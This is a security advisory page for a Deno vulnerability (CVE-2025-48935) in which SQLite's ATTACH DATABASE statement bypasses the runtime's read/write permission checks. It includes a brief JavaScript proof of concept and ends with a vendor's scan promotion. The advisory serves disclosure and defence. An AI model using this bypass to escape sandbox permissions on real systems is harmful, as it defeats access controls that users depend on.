RUSTSEC-2025-0138

vendorUSosv

--allow-read / --allow-write permission bypass in `node:sqlite`

view advisory published 2025-06-03Licence: CC0-1.0

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. ## PoC ``` // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2025-48935UScritical9.1OT elevated—
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permissio…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan